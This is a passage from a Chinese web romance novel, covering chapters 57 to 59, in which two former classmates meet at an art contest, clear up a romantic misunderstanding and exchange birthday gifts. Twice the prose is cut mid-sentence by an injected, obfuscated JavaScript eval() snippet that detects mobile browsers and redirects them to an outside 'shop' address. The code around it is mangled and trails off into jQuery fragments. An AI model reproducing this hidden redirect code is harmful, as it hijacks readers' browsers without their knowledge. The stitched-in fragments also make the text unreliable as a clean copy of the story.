"哦对了,你知道那个美术大赛吗,新美也要参加,"吴笙笙放下筷子,凑到黄时雨耳边说,“你要是想去的话,可以报名大众投票团,到时候可以加综素分。” 黄时雨一听到“综素分”眼睛都亮了,“真的假的,要抢吗?” “具体我也不知道怎么报名的,好像是要答题吧,然后正确率高的当选。” 黄时雨默默点头,心中已经有了一个基本的计划:到时候可以跟专业的小祝同学打电话,然后一边打电话一边完成这次答题。 只要有了专业人员的帮助,成为大众投票团肯定不是难事! 果然,听到黄时雨的请求,祝则溪答应得非常爽快,没有半点犹豫。 答题当晚,黄时雨提前结束了小组会议,从教室一路跑回宿舍,才终于在考试开始的前五分钟打开了答题界面。 万事俱备,只欠东风。 最后倒计时两分钟,祝则溪的电话打了过来—— “苗……黄时雨,你打开界面了吗?” 黄时雨从链接点进去,看着答题界面上的倒计时,“我已经进来了,好像除了选择题之外还有分析题,我肯定不会做。” 祝则溪在电话那头轻笑一声,“没事,我在。” 果然,当题目出现时,黄时雨直接变成了一个失去思考能力的复读机,她把题目一道一道念给祝则溪听,然后按照祝则溪的指示选择正确的答案。 “小祝老师,你好棒呀,”黄时雨一边答题,一边对着电话那头大夸特夸。 “还好吧,”祝则溪低笑的声音沿着电话线传过来后,很快正色,“有分数了吗?” “还在转,”黄时雨的眼睛紧紧盯着屏幕,“我还故意错选了几道,我怕分数太高了有点假。” “啊有了有了!” 黄时雨激动地对着电话那头报喜,“92分诶,够了够了,谢谢小祝老师!” “不客气。” 57. 第五十七次招惹 礼堂已经很久没有过这么高的人气了。 美术大赛下午七点正式开始,黄时雨的最后一门课六点四十才下课,她快步跑下楼,结果不幸的是,楼下一辆共享单车都没有。 真是越害怕什么越来什么,黄时雨只好一边往礼堂跑。一边在路上寻觅是否有落单的自行车。 走了一段路,又骑了一段路,黄时雨终于在开场前两分钟坐到了大众评委席上。 “给,这是打分器,”隔壁座的女生递来一个方方正正的小玩意,“看你没来,我先帮你拿着的。” “要等每一组的同学介绍完自己的作品后才可以打分哦!” 黄时雨接过打分器,在手里把玩了一番,“好,谢谢你了。” 礼堂灯光突然暗了下来,大灯射出的所有光线连同整个礼堂的所有注意力都集中到了舞台上的两名主持人身上—— “……我宣布,第五届多校联合美术大赛正式开始!” 新申美术学院一共有两位进入决赛的参赛选手,祝则溪将在倒数第二个出场,黄时雨已经提前给祝则溪打过气了,相信他今天一定会有好的表现。 每一位参赛选手上场时,都会先展示自己的画作,然后再将画作放大呈现在大屏幕上,给观众讲解作画细节和创作思路。 黄时雨虽然不算专业人士,但还是秉持着公平原则,按照自己的审美标准来判断所给分数的高低。 “好的,接下来出场的是来自新申美术学院的参赛选手——祝则溪,让我们掌声欢迎他带来的作品,有请!” 黄时雨的身子忽然坐直,目光追随着祝则溪从侧台缓缓走到台前。 相比于其他人西装衬衫的正式感,祝则溪则是穿了一件简单的白色连帽卫衣,搭配了一条比较宽松的牛仔裤和低帮板鞋,是纯正的青春男大味,可以说,从外貌上就领先了别的参赛选手很远的距离。 祝则溪看上去非常游刃有余,他并没有急着介绍画作,而是先走到舞台中央跟台下观众鞠躬致意,台下热烈的掌声中夹杂着好些个对祝则溪外貌的夸赞,每一条都切切实实钻进了黄时雨的耳朵—— “这个男生好帅呀!” “好有品的穿搭啊,我好吃这种风格!” “我要是能投票,肯定把满分投给他了!” …… 祝则溪抬眸的一瞬间,不偏不倚,跟黄时雨的视线正好交汇。 黄时雨分明看到他不明显地勾了一下嘴角,不知道是因为这场对视还是因为听到了台下观众们对他的称赞。 祝则溪看到自己的画作被投到大屏幕上时,才站到一边,慢慢开始介绍,“尊敬的各位老师,亲爱的各位同学,大家好,我叫祝则溪,来自新申美术学院。正如大家所见,这幅画上有两个主要意象,小木屋和梅花……” 黄时雨瞬间瞳孔一震:这画的不就是满城一中的小花园嘛! 黄时雨跟随着祝则溪的讲解,一点一点品读画作中的细节,虽然有些专业名词理解起来不是那么容易,但黄时雨还是感受到了祝则溪在这幅画中投入的浓浓的真心和诚意。 祝则溪的自我讲解时间结束,接下来是评委提问时间。 首先提问的津南大学美术学院的教授,他从专业性的角度向祝则溪抛出了几个问题,祝则溪都能侃侃而谈,对答如流。 教授看起来颇为满意。 紧接着又被好几个评委提问,黄时雨心里忍不住疑惑:怎么这么多老师提问啊,是画作的表现性不够,还是不符合评委们的评判标准? “好的,我个人有一点建议啊,你这幅作品是纯静态描写对吧,你是否有考虑过在其中增加动态人物呢?” 最后这位评委的问题一出,祝则溪的神色好像有了轻微的波动,黄时雨即使是坐在观众席,也能感受出来。 “谢谢这位老师的提问,我其实曾经也想过在上面增加动态的人物,不过……”祝则溪的眼神似有若无地瞟过黄时雨,“不过我最后还是放弃了,因为我把握不住这个人物的形象,是彩色的还是黑白的,或是都有,而且我也不想让我的画作上出现任何不确定因素,所以我并没有把她呈现在我最终的作品上,抱歉。” 评委们也不再追问,主持人简单总结了几句就开始投票。 投票的分数是1-10分,黄时雨把手指放在10分的按钮上,却迟迟没有按下去。 “你打几分啊?” 黄时雨用胳膊拐了一下旁边女生,想听听别人对祝则溪的作品如何评价。 “我打的9分,因为我也觉得可能有人物会更好一些,其他的我感觉没得挑,”女生把打分器的屏幕转过来给黄时雨看,确实是9分。 黄时雨低头认真思考了一会儿,最终心一横。 ——不管了,我就打10分! 所有人的分数都是暂时保密的,要等最后一位参赛选手的比赛结束后才会统一公布,这也是今晚最大的悬念。 主持人最后登台,手卡里夹着一张崭新的纸,那就是今晚的比赛结果。 “所有参赛选手的表现已经全部结束了,下面将由我来宣布此次比赛的最终结果。” 这次比赛一共有九个人参加,设置了一个一等奖、三个二等奖和五个三等奖。换句话说,每个参赛者都有奖,只是等级不同罢了。 黄时雨的心也随之提到了嗓子眼上。 虽然祝则溪的实力有目共睹,但当真的要宣布比赛结果的时候,黄时雨还是忍不住为他捏了一把汗。 “本次比赛的第一名是——新申美术学院,祝则溪,恭喜!” “啊——”黄时雨兴奋得差点从座椅上跳起来,她用手在眼睛旁边疯狂扇风,害怕激动的泪水不由自主地顺着脸颊滑落。 她就知道,以祝则溪的实力来说,肯定没问题的! 看到祝则溪上台领奖,黄时雨连忙打开手机,定格下这一激动人心的时刻。 “小祝同学,恭喜你,第一名诶,太棒了吧!!!!” 看到祝则溪拿着奖杯走下台后,黄时雨忍不住在对话框里发出一阵毫不吝啬的夸奖,手指都激动到控制不住地微微发抖。 祝则溪回复得也很快,“谢谢,还有进步的空间。” 黄时雨看着祝则溪的回答,无奈地摇摇头,持续进行夸奖攻击,“谦虚什么嘛,本来就很厉害!” “哦对了,为了庆祝你荣获本次美术大赛的第一名,我们等下一起出去吃饭吧,怎么样?” 都已经晚上八点半了,祝则溪晚上应该不会有什么别的安排吧? 黄时雨发完消息,起身穿好外套,随着人流往礼堂出口走,在观众出口处绕到舞台背后的工作人员出入口,想着一会儿看到祝则溪走出来,自己一定要飞奔上前,成为现实生活中,第一个向他表示祝贺的人。 “祝则溪!” 黄时雨视力极好,在乌压压的一大群工作人员中一眼就敏锐地发现了走在最后的祝则溪,他正低着头,手指在手机屏幕上不停滑动,不知道在做什么。 听到黄时雨的声音,他猛得抬起头,在跟黄时雨对视的那一瞬间,悄然挪开了一点视线。 也不管周围人的目光,在祝则溪还没走近之前,黄时雨就像个粉丝一样大声表达自己的激动—— “小祝同学,你好棒啊,第一名实至名归!” 祝则溪被黄时雨突如其来的音量增大给吓了一跳,他害羞地低下头,一只手捂住半边脸,用另一只眼睛朝黄时雨疯狂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903204|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眨眼,示意当下有些尴尬的局面。 黄时雨也冲他眨眨眼,然后背过身去偷笑。 但祝则溪虽是这么做,但黄时雨分明看出了他藏在害羞表象下,和自己一样藏不住的兴奋与雀跃。 黄时雨三步并做两步跑到祝则溪面前,“走不走,我们学校后街有一家披萨店特别好吃,价格也很合适。” “我……”祝则溪神情复杂地看着黄时雨,轻微的叹息代替了两人之间短暂的沉默,最终也舍不得说出那句拒绝的话,“好。” 他想,面对黄时雨,自己大概永远也不可能说出这样狠心的话。 黄时雨和祝则溪一路上都不怎么说话,二人之间的距离大到中间可以再站两个人。 达到披萨店,店里暖黄色的灯光包裹着来用餐的每一位客人,两人找了一个角落的位置坐下来。 “你们好,请问二位想吃点什么呢?” 刚坐下,就有服务员拿着菜单走过来,热情招呼二人点餐。 黄时雨自然地把菜单推到祝则溪面前,冲祝则溪微微一笑,“你选吧,我都可以。” “好,那你有什么推荐吗?” 祝则溪看向服务员。 服务员弯下腰,指着首页上的情侣套餐对黄时雨和祝则溪说,“你们俩可以点这个情侣套餐,比单点更实惠,而且分量也不错,刚好够两个人吃。” 听到“情侣”二字,黄时雨跟应激反应一样,瞬间脱口而出,“不是,我们不是情侣!” 祝则溪翻页的手也立刻顿住,他的喉结不明显地滚动了一下,却依然沉默着一句话也没说。 “哦不好意思不好意思,”服务员小心翼翼为自己刚刚的冒犯道歉,“我在这儿跟你们各自的对象道个歉,误会了。” 空气似乎凝滞了几秒。 “我没有对象。” 祝则溪点好餐,合上餐单,朝服务员点点头。 黄时雨也紧接着祝则溪的话,“我也没有对象!” 祝则溪瞬间转头,黄时雨看到他的眼神中正闪烁着疑惑又惊喜的目光,“什……什么?!” 黄时雨以为祝则溪没听清,于是又重复了一遍,“跟你一样啊,我也没有对象。” 祝则溪握着手机的手微微发抖,他的瞳孔微微放大,心跳声像是在耳膜里瞬间炸开,震得指尖发麻。 “你跟罗亦芃……” “原来你知道啊,我还以为你不知道这件事呢,”黄时雨歪着头,云淡风轻地耸耸肩,“他确实在高中毕业的时候跟我表白了,不过我当时就拒绝了。” “为什么?” 黄时雨有些不明所以,皱着眉头更加笃定地摇摇头,“为什么要同意呢,我又不喜欢他。” ——原来那场毕业照结束后的告白,她根本没有接受,罗亦芃递出那一束象征着爱情的鲜花只是被黄时雨以友情的身份收下了。 他以为的“在一起”,以为的“情侣合照”“电话查岗”……所有的一切,全都是误会! 祝则溪慌乱地摇头,发紧的喉咙里最终只留下了几个字,“好,挺好的……” 黄时雨正摩挲着杯子边缘的手指突然顿住,看到祝则溪这副慌乱的模样,心里一瞬间什么都明白了,“可是我以前就跟你说过,我不喜欢他啊,我还以为你会记得呢。” “我记得的,”祝则溪害怕黄时雨误会,声音突然拔高,又反应过来这是在餐厅,轻咳一声转为平静,“只是我当时不敢问……” 黄时雨忍不住笑出来,低声说了一句,“胆小鬼。” 祝则溪抬头的一瞬间,正好跟黄时雨视线交汇,他抿住嘴唇,像是在回应黄时雨的话,又像是在说给自己听—— “嗯,我是。” 58. 第五十八次招惹 “苗苗,现在时间挺晚的了,我送你回宿舍吧。” 祝则溪在说出这句话之前,就已经做好了可能会被拒绝的准备,他有些紧张地捏住衣角,低头期待着黄时雨说出那句他最想听到的答复。 黄时雨低头看了一眼手机上的时间,确实快到十点了,可以允许祝则溪这个送人的请求,“行,正好带你转转我们学校。” “好。” 黄时雨的宿舍离正门不远,从入口处往右转个弯就到了,但黄时雨却不知道是因为什么原因,硬是以参观学校为理由,带着祝则溪往左边走,强行延长了这个回宿舍的路程距离。 祝则溪和黄时雨一直保持着不远不近的距离,而且两人步调恰好又出奇地一致,呈现出一种不紧不慢的、和谐的状态,像是提前商量好的一样。 “祝则溪,你是后天回新美吗?” “对,后天下午坐高铁回去,”祝则溪的视线从远处落到了黄时雨的身上,“不过,要是能晚一天就好了。” 黄时雨很清楚祝则溪想表达什么意思,因为后天正好是自己的生日,在此之前,黄时雨就已经收到了好些个在其他地方上大学的朋友们专程寄来的生日礼物了。 “我也觉得,毕竟小祝同学送的生日礼物肯定很不一样对不对?” 祝则溪对黄时雨这句耿直的发言给惊到了,他笑着点点头,垂在身侧的手指不由自主地又捏紧了几分,“嗯,希望你能喜欢。” 大学生的作息时间总是不规律的,换句话说,在天气逐渐回暖的春日里,晚上的校园才能实现真正的人潮涌动。 一路上,黄时雨总是走几步路就遇到一个相识的朋友。 ——“你好。” ——“嗨喽,好久不见!” ——“可以呀,到时候约!” 黄时雨对每一位朋友都大大方方地回应,好像不管是什么类型的人都能自然而然地跟黄时雨相处得很好,这就是黄时雨身上与生俱来的魅力,当然,祝则溪也没逃过。 祝则溪在一旁也没闲着,看到黄时雨依次跟他们打招呼,自己作为她的好朋友,也会跟着点头回应一下。 “你的朋友好多啊。” 黄时雨得意地抬起头,“对啊,不过哪些是普通朋友,哪些是一级朋友,我还是分得清的。” 微风吹拂过路边的树枝,发出一阵沙沙的声响,一如祝则溪此刻难以平复的心跳声。 尽管一级朋友的身份自己早已得知,但真正从黄时雨嘴里亲口说出来,好像显得更有说服力。 祝则溪微微低下头,掩饰自己心中的窃喜,“嗯。” 路过实验楼下的月季花丛时,黄时雨兴奋地停住脚步,像是要考验祝则溪的记忆力一样,轻轻抬起其中一个花枝,“还记得吗,有印象吗?” “记得,你之前说很像满城一中操场上的月季花。” 黄时雨满意地点点头,蹲下身温柔地碰了碰月季花的花瓣,月季花枝有了微微的抖动,像是在向她行绅士礼。 “祝则溪,你看这个……” “祝则溪,你是不是在偷偷拍我?” 黄时雨抬头的一瞬间,正好看到祝则溪的手机摄像头快速闪烁了一下,她假装有点生气,起身盯着有些做贼心虚的祝则溪。 祝则溪不停地眨巴眼,把手机背到身后,“我就是觉得很好看才拍的……” 当然,黄时雨并不是真的计较。 “那这样好了,既然你拍了一张我的照片,那我也要拍一张你的,”黄时雨指挥祝则溪站到月季花旁边,精心挑选最佳角度,“蹲下点,稍微抬一点点头,看我的镜头哦。” 祝则溪按照黄时雨的指令一一照做,完全乐在其中。 “好了!” 黄时雨站起来,当着祝则溪的面把两人的聊天背景换成了新鲜出炉的祝则溪与月季花的照片。 “弄好了,现在我们俩扯平了,各自拥有了一张对方的照片。” “嗯。” 又绕着学校走了一小圈,终于抵达了黄时雨的宿舍。 “那你就送到这里吧,我先上去咯?” 祝则溪在宿舍楼前的空地上停下脚步。 “好,那我看着你上去吧,”祝则溪轻轻推了一下黄时雨的肩膀,“我明天可能没时间过来,那就只有后天见咯?” 黄时雨快跑几步,站在宿舍楼前的台阶上转头冲祝则溪相视一笑,“好,你走的时候我会去送你的,顺便收一下你准备的生日礼物!” 祝则溪来津南的日程安排很紧,基本上午是会议,下午是讨论或其他集体活动,晚上时不时还会有一些补充会议或小作业,祝则溪每天忙得像陀螺一样,跟他的猜测一样,确实做不到每天都来找一趟黄时雨。 直到返程的那天下午。 祝则溪提前告诉了黄时雨,自己的大巴车要在下午四点从学校门口出发,黄时雨留下一句“等我来送你”之后就杳无音讯了。 祝则溪知道黄时雨最近的课业很忙碌,也不敢催促,只是独自盯着两人的聊天框发呆。 “祝则溪,你还不上车吗?” 新申美术学院的带队老师从车窗探出头,招呼祝则溪先上车,“还有几分钟就要发车了,不然一会儿我们赶不上高铁。” 祝则溪低头看了一眼时间,也不知道黄时雨能不能准时赶到,但还是向老师争取最后一点时间,“老师,再给我几分钟,我有一个很好的朋友要来找我,我不想让她失望。” 老师也很善解人意,点头允许,“那行,最多十分钟啊。” “谢谢老师。” 祝则溪手上提着给黄时雨的十九岁生日礼物,在校门口不断张望着。 还有九分钟…… 八分钟…… 七分钟…… “祝则溪!” 未见其人,先闻其声,在祝则溪心里的期望一点点落下去的时候,耳畔终于传来了黄时雨由远及近的大声呼喊。 “诶!” 祝则溪看到黄时雨跑到自己眼前时被风轻轻吹起的刘海,忍不住上手帮她抚平,“我帮你整理一下。” 黄时雨也十分配合,仰头享受着祝则溪的服务,“服务不错。” 祝则溪眼看时间不多,从背后拿出准备好的生日礼物递给黄时雨,“生日快乐,这是给你的生日礼物哦!” “谢谢啦。” 袋子里是一个四四方方的盒子,看着体积还不小。 黄时雨掂量了一下,既惊讶又好奇,“是什么东西啊,还挺沉。” 但正当祝则溪准备告诉黄时雨里面装着什么时,又被黄时雨快速打断,“不不不,我就随口一说,还是要等我亲自拆开看才有意思,你现在不准告诉我哦。” 祝则溪立刻止住话头,乖巧地点点头。 “你看,我也有一件礼物要送给你。” 黄时雨从帆布包里拿出一个精致的礼品袋,在祝则溪眼前晃了晃,“这是我之前跟室友一起出去做的,一个钩织小玩偶,可以挂在包上的。” 祝则溪有些发懵,他完全没想到居然黄时雨也给自己准备了礼物。 “拿着啊,快上车吧,不然你老师要催你了!” 黄时雨把礼物往祝则溪手里一塞,强行催促着他快上车,祝则溪这才从收到礼物的震惊状态中回过神来。 他站在上车口,扬了扬手里的钩织玩偶,声音都多了几分甜蜜的味道,“谢谢苗苗!” 校门口来来往往的学生从未停止,但此刻两人的眼中却只有对方一个人的身影。 黄时雨朝祝则溪挥挥手,得到了祝则溪上车前的最后一个微笑点头。 黄时雨的心底突然萌生出了一个很冲动的想法。 在祝则溪抬脚上车的最后几秒,她快速奔跑了几步,原本是想从侧面轻轻拥抱一下,可没想到祝则溪的反应竟然如此迅速,立刻回身张开双臂,黄时雨就这样直愣愣地撞近了祝则溪的怀里。 一股温热的、充满着雄性荷尔蒙的气息瞬间将黄时雨整个包裹起来。 祝则溪轻轻收紧手臂,用下巴温柔地蹭了蹭黄时雨的头发。 黄时雨被祝则溪这个亲昵的动作弄得脸颊通红,她正想离开一点两人之间的距离,就感受到耳边来自祝则溪的低声细语—— “下次可以提前告诉我。” 黄时雨配合地点点头,从祝则溪的怀抱里挣脱出来,紧急地用手揉了揉有点发烫的脸颊,“知道了。” 祝则溪坐到大巴车最后一排靠窗的座位上,跟还没离开的黄时雨挥手告别。 黄时雨也立刻抬起胳膊挥手,目送着祝则溪的身影越来越远,直至完全消失在自己的视野中。 她希望,祝则溪会越来越好。 这就是黄时雨今年的第一个生日愿望。 三月份的柳条已经抽出新枝,人好像也从冬天的冰冻状态中解放出来,泥土里到处都是藏不住的春的气息,黄时雨特地选了一条回宿舍的小路,用手机记录下这个自己最喜欢的季节里,景物们最鲜活的模样。 黄时雨悠闲地回到宿舍,却惊奇地发现竟然一个室友都不在。 奇怪,明明刚刚是一起下课的啊,怎么就这一会儿功夫就全都不见了?! 不管了。 黄时雨坐到椅子上,打开电脑。 ——上周三辩论队留下的课后作业还没完成,趁现在宿舍没人,赶紧抓紧时间头脑风暴一会儿。 但是,人的灵感怎么可能说来就来…… 不到一个小时,黄时雨已经在椅子上换了好几个坐姿了,但不管用什么坐姿,都感觉不那么舒服。 大纲、初稿、修改、提交…… 这一整套流程下来,一共花费了黄时雨两个半小时。 “啊——” 黄时雨合上电脑,伸了一个大大的懒腰,疲惫感瞬间消失一大半。 “咚咚咚!” 听到有人敲门,黄时雨立刻起身,在拉开门把手的一瞬间,何妙妙二话不说,一个箭步伸手关掉了门口墙壁上的寝室顶灯。 黄时雨一个“啊”字还没说出口,就看到何妙妙稍稍让开了一些,露出她身后正端着生日蛋糕的方禾茹和站在方禾茹身边,边鼓掌边唱歌的许丹。 ——“祝你生日快乐,祝你生日快乐……” 三人一边唱歌一边走进寝室,许丹拉着黄时雨走到寝室中央,三个人围 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918209|187787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在她身边,每一个人都笑意盈盈地看着她。 虽然宿舍里没有开灯,但借着蛋糕上正努力发出光亮的小蜡烛,黄时雨看到了这三位室友真诚、诚挚的笑容。 一股感动、欣喜的暖流流经了黄时雨的全身,在眼角处涌了出来。 她是一个足够幸运的人,身边遇到的每一个朋友都是背负着善意而来,承载着友情而去。 ——“谢谢你们。” 趁着蜡烛还没燃尽,何妙妙赶紧提醒,“快点许愿哦!” “好!” 黄时雨双手合十,在心里默默许下十九岁的生日愿望。 第一个心愿已经许过了,那么二个心愿,是希望身边的人都顺顺利利,健健康康。 至于最有分量的第三个心愿嘛…… 黄时雨暂时还没完全想好,如果此时非要说一个的话,那就是希望接下来的这一年可以平安喜乐,万事顺遂。 “呼——” 蜡烛刚一熄灭,寝室的灯就亮了起来。 “你的生日礼物都拆了吗,要不要现在拆?” 方禾茹把生日蛋糕放在黄时雨的桌子上,看到黄时雨桌下还没拆封的一大摞生日礼物,提出了一个可行性极高的建议。 “可以呀。” 黄时雨想都没想就同意了。 她把生日礼物全部抱出来,坐在椅子上,拿出剪刀就开始一个一个拆封。 既有初中、高中同学送的,也有亲戚们从老家寄来的,吃的玩的一应俱全,还有好些个黄时雨之前都没怎么见过的新玩意,但现在还没时间研究,全部都一股脑儿堆在桌子上,等之后有时间了再仔细研究。 “诶,这个是你今天新收到的吗,之前好像没见你取这个快递诶。” 黄时雨点点头,“对,今天我一个好朋友亲自送给我的。” “哪个好朋友呀,我们认识吗?” 方禾茹轻轻撞了一下何妙妙的胳膊,“啧,这还用问,肯定是之前去新申见的那个好朋友啊。” “啊——”室友们一下子就兴奋起来,把黄时雨团团围住,一个个都朝黄时雨投来审视的目光。 “说,你们现在到底是什么关系?” “你今天不是一直在学校吗,什么时候见到他了?” 黄时雨见逃脱不掉,只好实话实说,“哎呀,就是他啊,他这次来我们学校参加那个美术大赛嘛,今天我去送他走的时候他给我的。” “噢,我知道了!” “知道什么?” 方禾茹不知道从哪个表白墙上找到了祝则溪的照片,因为拍摄距离距离有点远,所以看起来有点模糊,但就算是在这种高糊像素里,也能从大体的轮廓中,推测出这是一个帅哥。 “是他吧,这次美术大赛的第一名!” “我看看,我看看!” 何妙妙一把将方禾茹的手机抢过来,跟许丹一起凑得老近。 “长这么帅!” “黄时雨之前都没说过!” 黄时雨眼睁睁看着祝则溪的照片在三人之间相互传阅,听着她们一声高过一声的赞叹也一点办法都没有。 “所以送的什么?” 黄时雨从包装袋里抽出来,揭开盖子,“我还没看呢,那我现在打开看看。” 里面是六个画着彩绘的小盒子,跟一个手掌的大小差不多,每一个上面都写着一个大大的“拆”字。 盒子里的拉菲草上还有祝则溪留下的一张生日贺卡—— “生日快乐,请拆属于你的盲盒吧!” 黄时雨拆丝带的动作很轻,指尖却有些细微的颤动。 当第一个盲盒被拆开的时候,她整个人像被按下了暂停键——呼吸凝滞,瞳孔微微放大,整个世界的声音骤然退潮。 一个穿着满城一中校服的女生,不用怀疑,这个敞开校服外套、梳着高马尾的女生一看就是黄时雨本人。 她想过祝则溪会送她任何一种风格的盲盒,却没想到开出来的盲盒里面竟然是曾经的自己! 黄时雨紧接着又去拆第二个。 这是黄时雨初二参加舞蹈比赛的装扮…… 第三个。 第四个。 每一个盲盒里都是黄时雨过往人生中的一个小小的缩影,做工精美、还原度也特别高,像一枚精准的钥匙,打开了她自己都未曾察觉的记忆抽屉,让黄时雨几乎看一眼就能准确想起来这是什么时候的装扮。 “天呐,这六个盲盒拆出来都是你诶!” “这也太用心了吧!” “谁家好朋友送这种程度的礼物啊!” 黄时雨惊讶地有点说不出话来,她反复摩挲这这份沉甸甸的礼物,回想起这几年祝则溪送给自己的每一份生日礼物,都凝结着大量的时间和精力,既赶上了当下的流行,又很有自己独特的小巧思。 “我给他发个消息。” 室友们还在一旁惊讶这份礼物的用心程度,而黄时雨已经拿起手机,点进了与祝则溪的对话框。 ——“谢谢你,这份礼物我很喜欢,一定花了你不少时间和精力吧?” 祝则溪秒回,“你喜欢就好,其他都没关系。” 59. 第五十九次招惹 黄时雨和祝则溪的关系,从美术大赛当晚开始,又恢复成了之前的样子。 两个人总是有事没事就在微信上聊天,分享自己学校的趣事啊、吐槽自己遇到的奇葩事件啊,反正知无不言,言无不尽,仿佛中间那几个月的非正常相处从未存在过。 “黄时雨,上周让完成的那个PPT你做完了吗?” 看到黄时雨一直在宿舍拿着手机聊天,方禾茹忍不住提醒,手里的键盘正敲得热火朝天,不看都知道正在赶DDL。 黄时雨头都不抬,“你都说了是上周的作业了,那我肯定上周就完成了啊。” 方禾茹的椅子开始挪动。 “快快快,那你给我借鉴一下呗,”方禾茹慢慢靠过来,轻轻拉住黄时雨的胳膊摇晃,“求求你了。” “好,发你了,”黄时雨从跟祝则溪聊天界面里退出来,把PPT文档发给了她。 黄时雨是宿舍里完成作业最积极的人,当然也是最舍得跟室友分享成果的人,用她自己的话来说就是:本人记性不好,怕后面会忘,所以只好提前完成咯。 突然,一阵急促的电话声响起,黄时雨看到屏幕上显示的是“李斯巧”,虽然不知道学姐到底有什么事找她,但还是立刻接通—— “学姐?” “黄时雨,因为我这段时间一直比较忙,都没回学校,所以到现在咱们还没有在津南大学见过面呢。” 李斯巧的语气听起来有些疲惫,黄时雨赶紧表示理解。 “没事没事学姐,研究生肯定比较辛苦的,我能理解。” “嗯……”李斯巧在电话那头好像在翻文件,但很快就停了下来,“你最近学习忙吗,下个月八号有时间吗?” 下个月8号,黄时雨赶紧查看了一下自己的课表,刚好空出来了。 “我有空的,学姐,有什么事吗?”黄时雨一头雾水。 李斯巧清了清嗓子,郑重地说,“是这样,我之前本科的时候参加科创大赛,认识了一个研究社科方向的老师,这段时间他的新项目在招人,你要是愿意去试试的话,我可以帮你推荐一下。” 大一、课题、学姐内推……这是多少人求之不得的事啊! 黄时雨听到后努力控制住内心的兴奋,小心翼翼地询问,“学姐,可是我才大一,能行吗?” 李斯巧顿了顿,她并没有直接回答黄时雨的问题,而是留下了一句充满哲理的话,“种一棵树最好的时间是十年前,其次是现在。” 这句话黄时雨很熟悉,以前读高中的时候,妈妈也经常说。 “好的学姐,我知道了,”黄时雨立刻理解了学姐话里的含义。 她想,也许这次机会,确实应该牢牢把握。 李斯巧把导师微信推给了黄时雨,两人在微信上简单沟通了一下,导师也问了一些关于社会学的基础知识以及黄时雨对一些社会事件的看法和见解,黄时雨对答如流,成功荣获了进入科研小组的资格。 五月的天,开始带上一丝热气,黄时雨终于逮到了吴笙笙有空的时间,两人一起坐在学校后门的小吃街吃火锅。 满城人还真是,就算是即将入夏的天气,一顿火锅也是万万不能少的。 “苗苗,你那个导师人怎么样啊,都没听你说过,”吴笙笙夹起一筷子毛肚,在蘸料里裹上厚厚一层塞到嘴里。 黄时雨疯狂点头,“笙笙,我跟你说,那个导师人可好了,我看网上都说导师总是压迫学生,让学生做很多专业以外的杂事,我这个导师都没有,而且你有啥不会的都会手把手教你,真的少有!” 吴笙笙不由得竖起大拇指,“不错啊,运气这么好!” 黄时雨得意地扬了扬下巴。 突然,两人的手机同时传来消息提示音,原来是齐章年在群里发消息—— “这个季节吃火锅,算不算一种很小众的行为,”并发来了一张跟祝则溪的合影。 照片中,祝则溪穿着蓝白菱格衬衣,戴了一条银制锁骨链,黑色细边眼镜被推到头顶,正好压住了蓬松的头发。 这么看,祝则溪的衣品好像确实蛮好的,之前怎么没注意过,黄时雨突然也有些赞同那些女生的看法了。 初夏聚餐吃火锅,难道这就是满城人的默契吗,黄时雨感到大为震撼。 “好巧啊,我们俩也在吃火锅,”黄时雨立刻拍了一张火锅照片发过去,成为自己这句话的有力证明。 “我们专业都要准备期末考试了,最早的一门这月底就考,是不是好吓人?” 吴笙笙不紧不慢地淡定回复,“也还好吧,我们专业也是啊,不过我倒宁愿分开考,不然可能复习不过来。” 一直沉默的祝则溪在聊天框里默默发送了一个“点头”的小熊表情包。 “诶对了,你们还有暑假吗?” “有吧,但是我暑假事情挺多的,估计也休息不了几天,”齐章年边打字边叹气,“到底是谁在说上了大学就轻松的啊?!” 入组的日子飞逝而过,黄时雨很快习惯了在组里的生活,吴笙笙、祝则溪、齐章年也各自在自己的领域内奋力前行,“一中小分队”的名字从未改变,但大家都带着最坚定的理想和对彼此最真挚的祝福踏上了对更远、更亮未来的探索之路。 直到从大二下学期开始,一场突如其来的疫情彻底封锁了离开学校的大门,所有同学都被困在学校里,不停地接受早、中、晚的核酸检查和无止境的消毒杀菌。 除了实践课之外,社会学专业的全部课程都变成了线上课。 黄时雨对津南大学周边的探索就这样戛然而止,摇身一变,变成了不得不天天蹲在寝室的阴暗小蘑菇。 “啊,我都好久没见我男朋友了,”刚一下课,何妙妙关掉电脑就发出一阵哀嚎,“这疫情什么时候才能过去啊!” “我就是本地的,结果家都不能回,我都还没抱怨呢,”许丹摇摇头,帮着把宿舍垃圾整理好丢在门口。 黄时雨靠在椅背上,吃着囤了很多的脆脆鲨,像是在自言自语,“我也想去见我的朋友们。” 方禾茹突然站起来活动身体,一边活动一边走到黄时雨面前,“诶黄时雨,你之前不是说你那个导师人挺好吗,那之后能不能给你引荐工作啊?” 黄时雨认真思考了一会儿,最终还是摇摇头,“我现在还不知道,等大三的时候可以多了解一下,要是真的能毕业就入职可太好了。” 网课和线上考试几乎充斥了黄时雨的整个大二和大三,直到大四实习,黄时雨才真正感觉离开了那段对外界感知为零的时期,整个人终于又活过来了,终于可以再次成为了这个丰富而热烈的世界里的一名小小探索员。 在导师入股的公司里实习,是黄时雨做得最正确的决定。 